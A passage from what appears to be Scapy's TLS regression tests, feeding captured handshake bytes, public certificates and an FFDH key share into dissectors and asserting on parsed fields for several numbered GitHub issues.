\x0b\x97\xa9E\x85\xdd\xb3\x8b\xe5\x897\x8e)\r\xfc\x06\x17\xf68@\x0eB\xe4\x12\x06\xfb{\xf3\xc6\x11hb\xdf\xe3\x98\xf4\x13\xd8\x15O\x8b\xb1i\xd9\x10`\xbcd*\xea1\xb7\xe4\xb5\xa3:\x14\x9b&\xe3\x0b{\xfd\x02\x8e\xb6\x99\xc18\x97Y6\xf6\xa8t\xa2\x86\xb6^\xeb\xc6d\xea\xcf\xa0\xa3\xf9n\x9e\xba-\x11\xb6\x86\x98\x08X-\xc9\xac%d\xf2^u\xb48\xc1\xae\x7fZF\x83\xeaQ\xca\xb6\xf1\x99\x115k\xa5j{\xc6\x00\xb0\xe7\xf8\xbed\xb2\xad\xc8\xc2\xf1\xac\xe3Q\xea\xa4\x93\xe0y\xc8\xe1\x81@\xc9\n[\xe1\x12<\xc1`*\xe3\x97\xc0\x89B\xca\x94\xcfF\x98\x12i\xbb\x98\xd0\xc2\xd3\rrKGn\xe5\x93\xc42(c\x87C\xe4\xb02>\n\xd3K\xbf#\x9b\x14)A+\x9a\x04\x1f\x93-\xf1\xc79H<\xadZ\x12\x7f\x0c\x00\x01I\x03\x00\x17A\x04\x13\x1c\x02q\xd4m\x97\x01\x99\xcf\xf2\x80G\xa8\xe1\xdf\x1ak\xbf\x1fJ\xf9\x9e\xd0\x02\x01W\x9d\xb8\xbc*\xf9S\xb6\xbf\xb8\xf1\xc1\x89\xcd\x96C(\xa8|\x189\x13\xcd\xc5\xf7Q\x1e\xe17h~\x8c`\x1f8\x8e\xacq\x04\x01\x01\x00\xc1R`\xb8\x14!\xed\xb9\xbca\x9d0{\xb7\x95\x94\x80\x06\t.A\xcc\x82\x99\x89N_\xa1\x08M%#\x1fg\xb6\xa2\xfe\x00\xd6\xa8\xe9\x9fd\x91O\xdbzw\xbfS\x88?\xeb[2\x7f\xa1\xeb\xd1vmi_\x95\xd0A\x04`\x01+\x02\\\x99\xa0\xe9\n\xb5\xb5j\x85\x89J\x82\xf8\x00\xbb\xa3%\x14\x15D\xbf9\x12{\x9e\xca\x0e\x92\xdf\xbb\xfd\xd3\xc8\x0ez\x04n \x12\x01\xd2|\xc6t\xc36\xce>:J\xc3\x81+d\xbc\xb1\x1d\x8d\x00o\x00\xc9\xd4%\xb6\x90\x1f\xe1\xc5\x14\xb5Qk\x06\x1e\xf6{\xbdJ\xb2H\xcbf\xe9_mQ(\x9e4\x10U#\xcd4\x88\x1c\xfb\x03\x80(Q:\x9c\x0f\x16\xed\xad\xb4\x18k\t\xc5$\x97}~s\xc1\xca\xae\x9d\xd1q\x94\x9fi+Pj\x80:v\xc1z#\xf6\xee]ou~\xa3\xd9I\xce\xb8Z|\x1b\x8ep\xc6\x19\xb4A\x03\x92\x1bp\x16\x10\x0f\x84\xa9\x9f\xb7\xc9\x01\xc8^\x93\xaat\r\x87\x96\x86\xf6\xc5\xfe\x88\x13\xc3N\x0e\x00\x00\x00' p = TLS(a) p.clear_cache() assert raw(p) == a = Issue 2763 with no_debug_dissector(): p = Ether(b'RU\x10\x00\x02\x02RT\x00\x124V\x08\x00E\x00\x05\xc8\r\xd8\x00\x00@\x06\x96\x9d\x9c&\xce\x12\xc0\xa8\xa5\xd9\x01\xbb\xc0\x1f\x00w$\x02\x03\xbe\xc5#P\x10#(\x0b\x9e\x00\x00\x16\x03\x03\x0e4\x02\x00\x00M\x03\x03^\xfa\xb5~\x88\xdf\xdc#}\'\xa0\xff\xa2\xe2\xb5\xec\x0e\x93\xa8\xe0\xde\x01[\x13[F\x151 x\xc6\xcc `)\x00\x00\x8aZ\x90l\xda\x0b\xe1\xec[i\x13\xa7\x8e\xb9a\x98"\x8a7L\x9d\x90\xe0\x01\x06c$9\xc0\'\x00\x00\x05\xff\x01\x00\x01\x00\x0b\x00\x0c\x8e\x00\x0c\x8b\x00\x06n0\x82\x06j0\x82\x05R\xa0\x03\x02\x01\x02\x02\x10EY\xe8\x1c\x1e\x9a\xe0?X\xaa\xc3\xbc\xcd`jh0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000\x81\x8f1\x0b0\t\x06\x03U\x04\x06\x13\x02GB1\x1b0\x19\x06\x03U\x04\x08\x13\x12Greater Manchester1\x100\x0e\x06\x03U\x04\x07\x13\x07Salford1\x180\x16\x06\x03U\x04\n\x13\x0fSectigo Limited1705\x06\x03U\x04\x03\x13.Sectigo RSA Domain Validation Secure Server CA0\x1e\x17\r190309000000Z\x17\r210308235959Z0W1!0\x1f\x06\x03U\x04\x0b\x13\x18Domain Control Validated1\x1d0\x1b\x06\x03U\x04\x0b\x13\x14PositiveSSL Wildcard1\x130\x11\x06\x03U\x04\x03\x0c\n*.mql5.net0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcb\xbcn=\xbaGd\xe1XB\x07\xc9\xb1\xc8/\x86\xaa4Z\xbdNk\xfb\xffR\x8f\xe4\x1c^\x91m8\xb9^\x97\xa5\xd3N\xfb\x80\x92\x8ap\xda\x15\x9f\xee\xe7\xb3\xc8?\xb0>~\xaa\x07\x91\xb1\x99q\xe2\xe5\xc8\x9b\x1d5\xa0\x96,\x98\xdaW\x93\x95\x8e%\xe8\xd4L\xeb\xcbSg\x15"\xba\xb7\xc7\x1f\xe9\xd6\x1a\xe6E\x1d\xc8\x1e%\xd36\xe0/r\xd1\xce1C\xce\x91&\xa1\x08*R\xbf\x8cu\xb0\xda\x0e\x1e2\xd66\x1df&3\x9b\x03\x0b\xcam:\xf7\x12\xd9ud(\xae\xdc\xbci\x85\xbd\xcf\xeb{\x15:\xbd\x0e\x11\x1bi\xd8\xff]y~E\x15\x95\xee\xe9\xea\xc6Cr~\xaa\x07\x91\xb1\x99q\xe2\xe5\xc8\x9b\x1d5\xa0\x96,\x98\xdaW\x93\x95\x8e%\xe8\xd4L\xeb\xcbSg\x15"\xba\xb7\xc7\x1f\xe9\xd6\x1a\xe6E\x1d\xc8\x1e%\xd36\xe0/r\xd1\xce1C\xce\x91&\xa1\x08*R\xbf\x8cu\xb0\xda\x0e\x1e2\xd66\x1df&3\x9b\x03\x0b\xcam:\xf7\x12\xd9ud(\xae\xdc\xbci\x85\xbd\xcf\xeb{\x15:\xbd\x0e\x11\x1bi\xd8\xff]y~E\x15\x95\xee\xe9\xea\xc6Cr2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x0c\x00\x01I\x00@\xd1L\xf3\xe7\x8b\xdd\x98\xff\xb2\xf5Rd\xd6\x85\x0f\r{\x9f\xc2\xc0\x8aY\xbf.\xfb\xf0o\x96\xa5\xba;\x877qet\xe8\xe4K\xd7\xcb\xb8\xecAk>S\xe0\xa5\xc3\xfc\xe8\xde\xf1\xb0\xe5\x15s|\xb7\xe6D\x15+\x00\x03\x01\x00\x01\x01\x00H\xf1\x08\x88\xe9\xf8\xe6\xb2y\\\xf9\xf64\x95r\xf9\x8c]\x0b\x88%s\xee{\xd4\xa3{|Jd>\xfb\x01\x0b\xfdAf\xea\x13%\x1f\xcc\xba\xf8H\xed\xeb?u\x00\xc46\xe4\x9f!r\x99\xec\'!\xa1+\xe9\xcd;\xfa\x00a\xd1ME7\x9a\xc3C\xb2\xb0>\xec\x07\xff>\xb3\xa3\xbd\x8db\xa2\x17\x0b\xce\xe1H\xaf\xba_\xdc\x18\x83Fr^\xf6\xfd\x8f\xbd\xc1\xdf\xc3\xf9T\xc2RC\xfa1\xe1\x16\x94RgZ\xb1\xe8rycp\xaeEa@\xe2\xb7T\xe4\xaa7\x02\x1e\xb3\x0c_P\x14\xd9\x023]\xc9)\x1b\xd7]\xba\x8aS\x18\xe5\x88\x1e08W\xc7\xd5\xc0\x7f\xf6n\n>\x83_\r\t\x1f\x01\x99\xda\x88(\xbc\xd9\xb8!=\xb6%\x15wh\xacl)\xde\xb3-\x81M\xc6(,\xceom\x15W7\xcc\xd3\xe3\xc2e\xb4\x96\xf1\xfc\x1e\xa5?\xe1B\xbd\x00\x89\xc1\xd0t\xd6\xaa\xf8\xa7\x1f\xa1z}\x91M\x8egg\xa1}\x93\xaal\xec\x16@\xf3\xd7\x0b\x91\n\xcc\x0e\x00\x00\x00') assert p.msg[0].extlen is None assert p.msg[0].ext == [] assert [type(x) for x in a.msg] == [TLSServerHello, TLSCertificate, TLSServerKeyExchange, TLSServerHelloDone] = Issue 2778 r1 = TLS(b"\x16\x03\x01\x02\x00\x01\x00\x01\xfc\x03\x03\xf8\xb3\xdb\xcbp\xed8\x04\x00\x9c\x15\xafJB\x98r\x06\x19\xb7\r\x1a\xd4\xf2M\x0e\x99\xde\x9e\x93\xce<; \x1c;,\xf3&k\xcb\xa1\x9b)G\x9e\xc6o\xe8\x15\xf7\xdb\nk\x97a\x11\xf7\tX9^z\xee\xba\xba\x00>\x13\x02\x13\x03\x13\x01\xc0,\xc00\x00\x9f\xcc\xa9\xcc\xa8\xcc\xaa\xc0+\xc0/\x00\x9e\xc0$\xc0(\x00k\xc0#\xc0'\x00g\xc0\n\xc0\x14\x009\xc0\t\xc0\x13\x003\x00\x9d\x00\x9c\x00=\x00<\x005\x00/\x00\xff\x01\x00\x01u\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x00\x0c\x00\n\x00\x1d\x00\x17\x00\x1e\x00\x19\x00\x183t\x00\x00\x00\x10\x00\x0e\x00\x0c\x02h2\x08http/1.1\x00\x16\x00\x00\x00\x17\x00\x00\x001\x00\x00\x00\r\x00*\x00(\x04\x03\x05\x03\x06\x03\x08\x07\x08\x08\x08\t\x08\n\x08\x0b\x08\x04\x08\x05\x08\x06\x04\x01\x05\x01\x06\x01\x03\x03\x03\x01\x03\x02\x04\x02\x05\x02\x06\x02\x00+\x00\x05\x04\x03\x04\x03\x03\x00-\x00\x02\x01\x01\x003\x00&\x00$\x00\x1d\x00 \xe8A\x0fZ\xb0\x9d\x96\xb0_\x10\x18<\xcd\x9e\x93\xa0W\xa72\x90\xb4\xc9\xe1\xc2T\xcd\xfc)\x9f\xc0\x1dA\x00\x15\x00\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") r2 = TLS(b'\x16\x03\x03\x00U\x02\x00\x00Q\x03\x03 \xa5@2G~\xa3\xa9c\xb8\xa7\x00\t\x04Y\xf1\x1f\x1fJ\xd1\x89n\x1dut[~+\xdcQ\xdd\xe0 \x06\x00\xf5R\xdblQ\xb9z0\x97\x17\xff\x84{\xb6\xe8\xfe\xf1\xce&\x01TD\x13\xfd\xa7\xb6`u\xb8\x87\x00\x9d\x00\x00\t\xff\x01\x00\x01\x00\x00\x17\x00\x00\x16\x03\x03\x03n\x0b\x00\x03j\x00\x03g\x00\x03d0\x82\x03`0\x82\x02H\xa0\x03\x02\x01\x02\x02\t\x00\xebs\xb7\x1c>/\x9f\xdc0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000E1\x0b0\t\x06\x03U\x04\x06\x13\x02AU1\x130\x11\x06\x03U\x04\x08\x0c\nSome-State1!0\x1f\x06\x03U\x04\n\x0c\x18Internet Widgits Pty Ltd0\x1e\x17\r190215151403Z\x17\r290212151403Z0E1\x0b0\t\x06\x03U\x04\x06\x13\x02AU1\x130\x11\x06\x03U\x04\x08\x0c\nSome-State1!0\x1f\x06\x03U\x04\n\x0c\x18Internet Widgits Pty Ltd0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xd2\xf7\xd3k#:V\x196\x8f\xc3\xa7\xdb\x0f#d\xdcq\x98m\xd4\xee\xbc\xbe\xe8[x>\x13\x9c\xfe\xb0\xa8\r\xe5\x01G\xc96\xaa\x84#\x0e/\xa2\xeb\x91\xef\x177A\x03\x87\xb92D\n\xc7\xcf\xda\xff~\xca,yMq<\x13\xf8\x0c\xd5?\x84z\xa1\x96\xd0\xad\xc0D\x94y\nb\x8e2\x7fKS\xd0[\x83\x02\\>\xa5A\x19_\x95<\xe6\xfc7\xed\xcch\xa8\xfdn\xcab\x1f8\xbc\x08\xbc-\x8dr\xcf\xcd\xf8\\h\xf9\xf4\xf4H[2\x13zh_ <\r\xb8\xe0\xff\x1d\x1aY\x91\xd2\xf0X\xf4\x8f \xb1\n_\xb0\xdf\'\xa1\xf9\x87L\xc0\xfe\x8dn\xbfw\xe9\xa7\xba8I\x0e\x9dc$\x1a\x0f\xb3\xfdw\x01\xff;\x13\x0c\x9a\xa7\xaaww\x02\x80\xb7\x00<\x1b\xb5\xe0xL4\xaa\xcbt\xce\x81\x14\x96\x0eP\xee\xe0F\x02\xa7\xab \xe5\xc8x\x02\x8eB\x92\xe9\x0e@\xfdc\x1f\xee\x16\x03\x03\x00\x04\x0e\x00\x00\x00', tls_session=r1.tls_session.mirror()) assert r2.tls_session.tls_version == 0x303 = PR/Issue 3295 pkt = TLSServerHello(b"\x02\x00\x00\x28\x03\x03ABCDEFGHIJKLMNOPQRSTUVWXYZ012345\x00\x00\x39\x00\x00\x00") assert pkt.extlen == 0 assert pkt.ext == [] = Issue 3324 - FFDH support # Dissection hex_data = "16030102a8010002a4030330cc71861d50119dbe2b9c3a5207b7eff49aff19408096b32926d6fe8a4878e520c03832cba05660b5facc4b9991f3b006d326325ab1e0a9463287271952f4235f0004130200ff0100025700000020001e00001b6578616d706c653132333435362e6d79636f6d70616e792e636f6d000a000400020102002300000016000000170000000d000400020403002b0003020304002d00020101003302060204010202003476f00e12d8c768be0bd6db6af9e539441edd84b87178e8843bb2febc4b2097ac9619e65ed61837550e51834c32c7cb007b9b9a2f129d7127ee9f8bcbc2ba2141677300bc660d080d32257731d8d795bda7467df240cf07e8f1cde33bfc1f168385babee0f5834269f3c1070f7d89b3b9607b474edd306af54638d14e58cdc524b8972035a762dc446ef95b30a8c5e06876804ec9fb180f0255ea93b1438336e414761e1e1e2772909ce3fadc5282674337267f9697204b81a0b3ded2a3ecb03b46c1a4113e44b23a67d349b0406903b6acfdce0595e16b4f41dee9351f16e1267f9bdc6abbd897332552cb9b139f1556fc207fb8dee337d185acbe6b1b42c09751339e7d441933bec3cc4b24740b1640a2af73eadf700e0bee5065c38886f6a5983e1029f67085590f95f9546057725c004804cd97ed2c1c5ca0383751e77c087449719e65d9a39adad84e1bab92c0f9b7b472e58f60d4f81e3b622d7f62fd61c747e5951b54e9ef7b1a65b07e25c94baa7c19284ecf855a5cff7dae958359f3bd5d6184f11a3785026f8479d25595948160de89e8af62f306783c79b0bf28fb18da512737b52ede9f826ed95ed1ce8386e3ff3e74ba0b7ad82bef0c046223986475de12c9654f0fc3cb162d24ab02fe51120566bc993583e10149c16d953640357785e88748739cf84a3f0930fe5b4732f17f32e7e7fdf00023643a798cf7" key = "3476f00e12d8c768be0bd6db6af9e539441edd84b87178e8843bb2febc4b2097ac9619e65ed61837550e51834c32c7cb007b9b9a2f129d7127ee9f8bcbc2ba2141677300bc660d080d32257731d8d795bda7467df240cf07e8f1cde33bfc1f168385babee0f5834269f3c1070f7d89b3b9607b474edd306af54638d14e58cdc524b8972035a762dc446ef95b30a8c5e06876804ec9fb180f0255ea93b1438336e414761e1e1e2772909ce3fadc5282674337267f9697204b81a0b3ded2a3ecb03b46c1a4113e44b23a67d349b0406903b6acfdce0595e16b4f41dee9351f16e1267f9bdc6abbd897332552cb9b139f1556fc207fb8dee337d185acbe6b1b42c09751339e7d441933bec3cc4b24740b1640a2af73eadf700e0bee5065c38886f6a5983e1029f67085590f95f9546057725c004804cd97ed2c1c5ca0383751e77c087449719e65d9a39adad84e1bab92c0f9b7b472e58f60d4f81e3b622d7f62fd61c747e5951b54e9ef7b1a65b07e25c94baa7c19284ecf855a5cff7dae958359f3bd5d6184f11a3785026f8479d25595948160de89e8af62f306783c79b0bf28fb18da512737b52ede9f826ed95ed1ce8386e3ff3e74ba0b7ad82bef0c046223986475de12c9654f0fc3cb162d24ab02fe51120566bc993583e10149c16d953640357785e88748739cf84a3f0930fe5b4732f17f32e7e7fdf00023643a798cf7" tls_packet = TLS(bytes.fromhex(hex_data)) assert tls_packet.msg[0].ext[8].client_shares[0].sprintf("%group%") == 'ffdhe4096' assert tls_packet.msg[0].ext[8].client_shares[0].key_exchange == bytes.fromhex(key) assert tls_packet.tls_session.tls13_client_pubshares['ffdhe4096'].key_size == 4096 # Build tls_packet = TLS(msg=[TLSClientHello(ext=[TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group="ffdhe4096")])])]) tls_packet.raw_stateful() assert tls_packet.tls_session.tls13_client_privshares['ffdhe4096'].key_size == 4096 = Issue 4418 - TLSFinished tls_packet = TLSFinished(bytes.fromhex('1400000c72793a9d2f946a0455bf1995')) assert tls_packet.vdata == b'ry:\x9d/\x94j\x04U\xbf\x19\x95' = OCSP: payload after OCSP - GH3291 data = '1603031616020000660303602161b58e22f4966f18f9aa6afd5759f343935ed437cf09c554dd27691a1eb420a13c0000eaad0a6cd4f11bfc59788daec98422be4f3810c19669207e509aaa11c03000001e000500000023000000100005000302683200170000ff01000100000000000b000d5d000d5a0007f6308207f2308205daa00302010202136b000006c55514d0a6c4891be20000000006c5300d06092a864886f70d01010b0500304f310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313174d6963726f736f66742052534120544c53204341203031301e170d3230303930393231343530355a170d3231303930393231343530355a30223120301e060355040313177074692e73746f72652e6d6963726f736f66742e636f6d30820122300d06092a864886f70d01010105000382010f003082010a028201010094876b9572b7c3d7fbb2d569ffff6b8f716245a2d9b413c9e8238ee88d98b1002cec8c2198b52f3b7f0a679ceb1aeb2c1467d2eda3c71b4bb0756ba42354a956b8d40bd422921793b3dec0aab3f5e0b023bcb7dfdf48bd4b064c1a62255e9b58c16ad482087fd1505b01aad9474f06925f3821fbe92f680e87db3f0aa150e2066848f88ebe08d8280185bbba697b39d12e03eae6d4e481319432f2752793fcd125f2714cd92b37e3d9b8fcec7fd7b3c121fdedc42b50ff65f73352cbc1202ac59c846df2a9168c00fc4754f5e19c3b0503dbe4f58b0f8b3e0fa411d4dcb8e1acdef9a2ca7db52e282a14119e1ef3a867a3b7d8fdaccc27d3d2033bb5082a1b510203010001a38203f2308203ee30820105060a2b06010401d6790204020481f60481f300f10076007d3ef2f88fff88556824c2c0ca9e5289792bc50e78097f2e6a9768997e22f0d70000017474dd866500000403004730450221008886de3960d7fe8cbaa9bcf91f961d920af99ec72adaf07fb6f6e2759d6d045b02201f90de8ad6dc333cbf920fe6cd66b41d97a01397831b2ea39f618c1505ecc7e70077004494652eb0eeceafc44007d8a8fe28c0dae682bed8cb31b53fd33396b5b681a80000017474dd86d200000403004830460221008f66e7ce568540722b5a09d96bc08d78a1cc98dda6c7c2cda1daaa7ea49d75f302210099ccca061b9b31f938988f2e4182fcb39035f6e90d5dee8c928582bd4e5fb693302706092b060104018237150a041a3018300a06082b06010505070301300a06082b06010505070302303e06092b06010401823715070431302f06272b060104018237150887da867583eed90182c9851b81b59e6185f4eb60815d85868e4187c2985002016402012530818706082b06010505070101047b3079305306082b060105050730028647687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b692f6d73636f72702f4d6963726f736f6674253230525341253230544c53253230434125323030312e637274302206082b060105050730018616687474703a2f2f6f6373702e6d736f6373702e636f6d301d0603551d0e041604142746d09d123c3c91382ef590e0aab2a901f0d0c3300b0603551d0f0404030204b030780603551d110471306f821b7074692d696e742e73746f72652e6d6963726f736f66742e636f6d82177074692e73746f72652e6d6963726f736f66742e636f6d821a7074692d696e742e747261666669636d616e616765722e6e6574821b7074692d70726f642e747261666669636d616e616765722e6e65743081b00603551d1f0481a83081a53081a2a0819fa0819c864d687474703a2f2f6d7363726c2e6d6963726f736f66742e636f6d2f706b692f6d73636f72702f63726c2f4d6963726f736f6674253230525341253230544c53253230434125323030312e63726c864b687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f6d73636f72702f63726c2f4d6963726f736f6674253230525341253230544c53253230434125323030312e63726c30570603551d200450304e304206092b0601040182372a013035303306082b060105050702011627687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b692f6d73636f72702f6370733008060667810c010201301f0603551d23041830168014b5760c3011cec792424d4cc75c2cc8a90ce80b64301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038202010086dd00ab90b01c8f5c87d59c2cc45e2cb81998699e5e97aeceea13670bbf2b76e9add7cd11bc4ef347dbab7ea7c28300223bd43e5d2904db1516c55572181534f4efc11eccf4d10a9c08ddfbff53cad870856e0e3377b7639cfc3de5d3c7ca8294cc6e7ac0cac0e1a3cd4b0b81cdcb2fa1dbf6ebc2659d6f1947e8047be27c02fba8b6a991837781cea269246353e5441aa33c8494d4591ee482f448bef23460578f96c5c1e92f5a7cd7c81815b40a7cc00aeee6976a708c1d236c7fe64a4a45f7fd83707c0e621ff7e78fe089dd3ff539148a0acba6a99a8ca630ef2e2c83529596bbb3fb1c9ea7f371158d70b36120217154003e791db16390877c83dd27543c15e73c1af5f22b4c7c73347a9b97de633abdd9413363877a8a428f18cd624e310e2ea17aa4740a167aabecfb5f5c244ef8ada6638f90592df625885b9a57ec478acca5ec2c35e6c66b597be4570057d6769f3e5c2487ea70f84ecabc0f4064bb0e7be746d652f3861b931eb0e75846253e7eeae987cf7d4193bd1dc85044ee798d821536944c7ade7e269b13e4ece47093c641e7fc8d31dc0e3d211d94e8b450cfed2733ad78fac2eae225acd505117c39243a8e24feebd47ff875643d1ef777dd2a1a18f370dd83fdf85ca2eadf3c46711aedc68fc13b1db8bf71e015c77f69882613ea096c216e759553ea475a48db8ac4e92b8b184b7dbc9d458758e85200055e3082055a30820442a00302010202100f14965f202069994fd5c7ac788941e2300d06092a864886f70d01010b0500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3230303732313233303030305a170d3234313030383037303030305a304f310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313174d6963726f736f66742052534120544c5320434120303130820222300d06092a864886f70d01010105000382020f003082020a0282020100aa6277cf9a63b20684f39036f499f31451abea950a3b4606fd11411ffe5b0658c9386e08fc4f4448cd3aa4f7bd1ea2e295b8be5120c5bfb270635d780c43c029cd64490996daafcefd055f2b2a91e8016e2e189b2c9cd0017f69f5ee3f53885cba056cbe2215671482f22cd2be5b6337ccaf6085e8966b6b8008a86ebe009c6b9570fce41812b11d1bb2c11331673334e625c9625b58827576f2fef23f3b16dfaa4283e3326d9b8e4326f0bd0e1fa1a73aaf2cc88ae6ea3ff9a5d2258f92aa1a08129cfeac4ac7c3eb8094ab8716d12349e7a4bbc791dfe679343f414aa73a26d2ea6f46e33873e6e5d491ae0b789e78a5ef96e373d8f79565e905bf4f5cff52a7f9cf08afa74d0999c071a3527aa53bd79b015403e3b662b05a279c30268eb64d56a117177a7b95a107ac5331b6d62e0fcd4174ecf101b2fd45bffc31e146423136431eb9aa055f847f91b18bae0fd754c3fdf064086ad39c8eea7934ec033d73e01b36d46811c75970b0877cc0dc6e45ca36ce43267702a9700de8b857544442c3fbac1b632608c2d2231f7f930b7c6f08549a2b4e5dce9fa53ed2985bd102dbf183ce3052483863f1b1fbed23d33e92b5278dd04273d79d236871ba595e0752a6964dbf7c4e6f742205c0538016d8604e97314f894e4863d8edf9e5c2d90eb20bf6694cbd4b01c9cbdd06bf3a02eb1cdd308b0d4a1460f9d5644f4344a1ed0203010001a382012530820121301d0603551d0e04160414b5760c3011cec792424d4cc75c2cc8a90ce80b64301f0603551d23041830168014e59d5930824758ccacfa085436867b3ab5044df0300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d303a0603551d1f04333031302fa02da02b8629687474703a2f2f63726c332e64696769636572742e636f6d2f4f6d6e69726f6f74323032352e63726c302a0603551d20042330213008060667810c0102013008060667810c010202300b06092b0601040182372a01300d06092a864886f70d01010b050003820101009f2bbe92675bda7b8aade8ff9d4d050eedb60d1541d1e615dc0360f9f422569c48f99daeda2b3ca8c0abd0ba95b8c8c1fd7c6371b6c87a889b3046a38e7d9602e3f82204efe036c06fc2bf2e0d6eedd676280d81873e9be7a7108cda661f4051eae7bebf4e6798bb5459636f42e30f31601964000f260c97d184c0a67a193b70de4526dc96463d9c663fe13a8238e53603042857a4e94b64a218886d60898d7abe10918bace63f3130bfeb64d79e8de9c192566e388d343faecd6c6b4252623cd46989e0a057590b839fc6722442f5080384ce1663f334f105763719b206de133e137061d304f2b8476f05e38a88302b47455e7954c5f9ddebfa3f785175d25b160006d6010006d2308206ce0a0100a08206c7308206c306092b0601050507300101048206b4308206b03081a5a21604149a0190a5b9942f43bc62113fcd3d404bead25250180f32303231303230383036303930325a307a3078304c300906052b0e03021a05000414521ee36c478119a9cb03fab74e57e1197af1818b0414b5760c3011cec792424d4cc75c2cc8a90ce80b6402136b000006c55514d0a6c4891be20000000006c58000180f32303231303230383036303930325aa011180f32303231303231323036303930325aa1023000300d06092a864886f70d01010b05000382010100784c3cee7765bf5cb164c0cf465462c37e97d11041443dcd9052e413747a71f8c37a051a29cdba11ea15cac3c252eeab533c7e9141431649a3a57a7dacc1fa697fdd360c139a35af181b7154574e7b87ade8da951d1894362082f80eb56d3775e729e930a097e72a7339e6e63719acc8166fd9c77c068cc75240a3b2149da8bcc24187addcfcc7330ad057b1d7a215380ea8e060b2a85330bc262c58e119672d846b87be7edf535d68a4bc2a643516df1c134401d96f0944d4d7ebe7a769ecdcfa90418486c9d62a9a4c46e232fa94221392f59a9c8df520b19e1214ed4ac70f54367b640924c48d2d3596056ff7424fc1734b98edc02dc67d8d72f6d10f44e